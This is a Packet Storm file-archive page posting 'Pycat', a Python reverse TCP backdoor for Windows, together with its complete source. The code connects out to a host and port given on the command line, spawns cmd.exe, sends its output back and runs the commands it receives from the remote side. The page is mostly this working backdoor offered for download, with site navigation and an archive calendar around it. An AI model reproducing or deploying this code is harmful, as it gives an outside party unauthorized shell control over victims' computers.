exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Pycat Simple Windows Reverse TCP backdoor

Pycat Simple Windows Reverse TCP backdoor
Posted Apr 26, 2019
Authored by Daniel Moreno

Pycat is a simple Windows reverse TCP backdoor akin to a netcat TCP reverse connection clone. Written in Python.

tags | tcp, python
systems | windows
SHA-256 | 87c525e44512dcd47cc0d652b9ad377f81a2997c6ac650b9f0346ac0b7e1c508

Pycat Simple Windows Reverse TCP backdoor

Change Mirror Download
import asyncio
import socket
import argparse

parser = argparse.ArgumentParser(formatter_class=argparse.RawTextHelpFormatter,
description="############### pycat ###############\n" \
" Windows Reverse TCP backdoor\n"
"Usage: python pycat.py --host netcatIP --port PORT\n\n" \
"Demo: youtube.com/watch?v=3sMhHL6c68E\n"\
"GitHub: github.com/danielhnmoreno/pycat\n" \
"Contact: contato@bluesafe.com.br")

parser.add_argument('--host', action = 'store', dest = 'host', required = True, help = 'Host listening for reverse connection')
parser.add_argument('--port', action = 'store', type=int, dest = 'port', required = True, help = 'Port')

arguments = parser.parse_args()

HOST = arguments.host
PORT = arguments.port


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

async def shell():
while 1:
proc = await asyncio.create_subprocess_shell("cmd",
stdin=asyncio.subprocess.PIPE,
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.STDOUT)
cmd = b"\n"
proc.stdin.write(cmd)

while 1:
while 1:
out = await proc.stdout.readline()
break_ = out.decode("latin-1")
if break_[-2:] == ">\n" or break_[-3:] == "> \n":
s.send(out[:-1])
break
elif break_.endswith(">" + cmd.decode()) or break_.endswith("> " + cmd.decode()):
pass
else:
s.send(out)

cmd = s.recv(1024)
cmd_ = cmd.decode()
if cmd_ == "\n":
proc.stdin.write(b"\n")
elif cmd_.startswith("exit"):
proc.terminate()
break
else:
proc.stdin.write(cmd + b"\n")

asyncio.set_event_loop_policy(asyncio.WindowsProactorEventLoopPolicy())
asyncio.run(shell())
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close